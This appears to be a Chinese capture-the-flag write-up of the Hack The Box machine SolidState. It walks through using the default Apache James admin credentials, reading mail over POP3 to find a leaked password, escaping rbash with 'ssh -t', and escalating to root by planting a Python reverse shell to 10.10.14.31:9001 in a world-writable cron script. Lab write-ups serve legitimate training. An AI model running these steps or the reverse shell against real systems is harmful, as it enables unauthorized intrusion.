HTB-SolidState
- 信息收集
- 80端口
 
- Apache James
- mindy
- rbash绕过
 
- mindy -> root
- 总结

信息收集

 
80端口

 目录扫描

 从/README.txt文件里知道他们在捣鼓一个新的秘密项目,这个新的秘密项目就是一个新的网页外观。

80端口先点到为止,免得进兔子洞。
Apache James
JAMES pop3d 2.3.2
 
 在msf上使用相关负载会失败。
 
 
 4555还有一个JAMES管理员工具。
 
 使用root:root登录查看。
 
 listusers
 
 我们可以控制5个人的账户信息,当然包括修改密码。
 
 我们想要查看是否有有趣的邮件,所以要使用110端口的POP3,telnet 10.10.10.51 110。
 输入用户
| 命令 | 作用 | 用法 | 
|---|---|---|
| user | 输入用户 | user aster | 
| pass | 输入密码 | pass aster | 
| list | 列出邮件列表 | list | 
| retr | 查看邮件内容 | retr id | 
| dele | 删除邮件 | dele id | 
| quit | 退出 | quit | 

 最左边的1,2就是邮件编号。
 
 有一封给mindy的邮件里面有mindy的凭证。
 username: mindy
 pass: P@55W0rd1!2@
一共三封邮件,两个和mindy有关,分别是欢迎mindy加入以及给mindy分配登陆密码。还有一个是发给John的,拜托john限制mindy访问权限以及给mindy分配凭证。
mindy
使用上面获得的凭证即可登录mindy。
 
果然限制了shell。

rbash绕过

 在登陆ssh的时候加上-t指定shell类型。

mindy -> root
在opt中发现了一个777文件tmp.py。
 
内容如下。
 
 没有sudo,只有一个孤独的tmp.py,想必只有时间任务能陪伴它了。

 修改tmp内容如下。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.31",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")

 慢慢等待。
 
总结
SolidState的突破口是开放的25smtp端口、110pop3端口、以及4555James 远程管理工具。4555服务使用的默认凭证root:root让我们有可乘之机。通过修改所有用户密码后转向110的pop3收集用户邮件并发现mindy的用户密码。登陆后遇到rbash限制,尝试发现可以通过ssh -t指定shell绕过。随后在/opt文件发现了幸运777文件并修改等待时间任务自动运行提权。
apache james root:root
 ssh mindy@ip -t “bash” 绕过rbash



















